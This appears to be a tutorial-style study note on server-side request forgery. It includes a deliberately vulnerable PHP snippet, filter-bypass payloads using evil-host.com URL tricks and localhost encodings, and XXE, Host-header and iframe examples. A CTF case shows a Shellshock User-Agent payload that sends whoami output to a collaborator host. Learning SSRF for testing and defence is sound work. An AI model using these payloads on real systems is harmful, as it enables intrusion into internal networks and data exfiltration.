Server Side Request Forgery

This is a web security issue in which an attacker is able to make the server side application to make request to an unintended location. In typical ssrf an attacker can make request to internal systems within the organization's infrastructure like internal http servers, ftp, mysql servers, smtp server, smb servers, etc They may also be able to force the server to connect to arbitary external systems which could leak sensative data such as authorization credentials.

How does SSRF vulnerability occur

PHP application that gets a file from a backend system which is not reachable directly.

<?php
$url = $_GET['url']; // Get the URL from user input (e.g., query parameter)

// Basic validation to ensure it starts with "http://" or "https://"
if (strpos($url, 'http://') !== 0 && strpos($url, 'https://') !== 0) {
    die('Invalid URL');
}

// Perform a request to the specified URL (vulnerable to SSRF)
$response = file_get_contents($url);

// Display the response to the user
echo $response;
?>

node js application which fetches an item's name, description, price via internal api

const axios = require('axios');

// API endpoint URL
const apiEndpoint = 'https://internal-api.com/api/product';

// Data to be sent in the POST request 
const requestData = {
  productKey: 'hoodie',
};

// Making a POST request using axios
axios.post(apiEndpoint, requestData)
  .then(response => {
    // Handle the response data
    const product = response.data;

    // Extracting relevant information
    const productName = product.name;
    const productDescription = product.description;
    const productStock = product.stock;

    // Displaying the information
    console.log(`Product Name: ${productName}`);
    console.log(`Description: ${productDescription}`);
    console.log(`Stock: ${productStock}`);
  })
  .catch(error => {
    // Handle errors
    console.error('Error fetching product information:', error.message);
  });

• If a path or endpoint is blocked on frontend maybe a request from backend may bypass any existing access controls: http://localhost/restricted-functionality

• We can identify other internal hosts which the application is able to talk to eg: http://192.168.0.X, After being able to connect to an internal host we can identify ports of this host for example the identified host is 192.168.0.234 then http://192.168.0.234:XXXX/ or we can use other protocals eg: ftp://192.168.0.234:21, ssh, mysql, smtp, pop, etc.

Bypassing SSRF Defenses

If the application prevents ssrf using blacklist input filters like 127.0.0.1 is not allowed, localhost is not allowed protocals like ftp, ssh, gopher are not allowed, etc. We can circumvent this defense using various techniques

• Maybe using alternative for 127.0.0.1 2130706433 or 017700000001 or 127.1 or 0.0.0.0 or http:@0/, etc many more

• Registering our own domain that resolves to 127.0.0.1

• Obfscuating blocked strings like localhost with LoCalHosT

• Inputing url which we control which redirects to target url

• SSRFs can also occur in referrer headers.

Bypassing Whitelist based input filters

Some applications only allows input that match a whitelist of permitted values for example only perform POST request and fetch resource from api if the url contains values ["http://internal-api.com/", "https://internal-api.com/api", "internal-api.com"], etc. We may be able to bypass these filters by exploiting inconsistency in url parsing.

• Using # character indicating url fragment https://evil-host.com#internal-api.com

• Using DNS naming heirarchy https://internal-api.com.evil-host.com

• Using url query prameter https://evil-host.com?internal-api.com

• URL encoding or double url encoding characters.

• http://[e-mail] here internal-api.com is a whitelisted domain. websites often accept http://[e-mail] for credentials so we utilized https://[e-mail] since localhost will now be treated as username we can use double url encoded # character http://[e-mail] now the application will think @internal-api.com as url fragment of http://localhost and will make request to http://localhost thuse also validating the whitelisted domain.

• Using open redirection we can also bypass ssrf filters. Eg: we find open redirection on GET /product/nextProduct?currentProductId=4&path=http://google.com path parameter. We have another feature which checks the stock api via post request parameter stockApi=/product/stock/check?productId=5&storeId=1 here we can use previous open redirection to make request to internal system via stockApi=/product/nextProduct?currentProductId=4&path=http://192.168.1.66:8080/admin&storeId=1

Blind SSRF vulnerabilities

Blind ssrf vulnerabilities are the vulnerabilities where an attacker is able to make requests to supplied url or backend host but the response is not returned on the frontend. These vulnerabilities cannot be exploited to retrive data from backend systems but sometimes can also lead to full rce on backend servers.

• Use burp colloborator or request monitoring services for identifying these vulnerabilities.

CTF Case

• A blind ssrf exists in referrer header, a shellsock exists in one of the internal hosts with whom the application can talk to. Making a request to burp collaborator we can see the user agent is included in the request. Here to gain rce on the internal system where shellsock exists by leveraging this ssrf. In referrer header place http://192.168.0.X where X will be iterated through numbers from 1 to 255 and shellsock payload will be placed in User Agent: () { :; }; /usr/bin/nslookup $(whoami).BURP-COLLABORATOR-SUBDOMAIN. Here everytime a request will be made to different backend hosts http://192.168.0.1, http://192.168.0.2 etc the User Agent header will be included which contains shellsock exploit which will make request to our collaborator server with output of whoami.

Cloud Based SSRF

For cloud ssrf check: https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf

Other cases

SSrf via XXE?

<?xml version="1.0"?>
<!DOCTYPE foo [ 
<!ELEMENT foo (#ANY)>
<!ENTITY xxe SYSTEM "http://localhost">]><foo>&xxe;</foo>

Ssrf via Host header injection

GET / HTTP/1.1
Host: localhost

Ssrf via html injection

<iframe src=http://localhost></iframe

Takeaway

Ssrf doesnot normally occur directly in url parameters but in functionalities such as video to gif converter, via svg upload, via html embedding, via open redirection, via host headers and so on.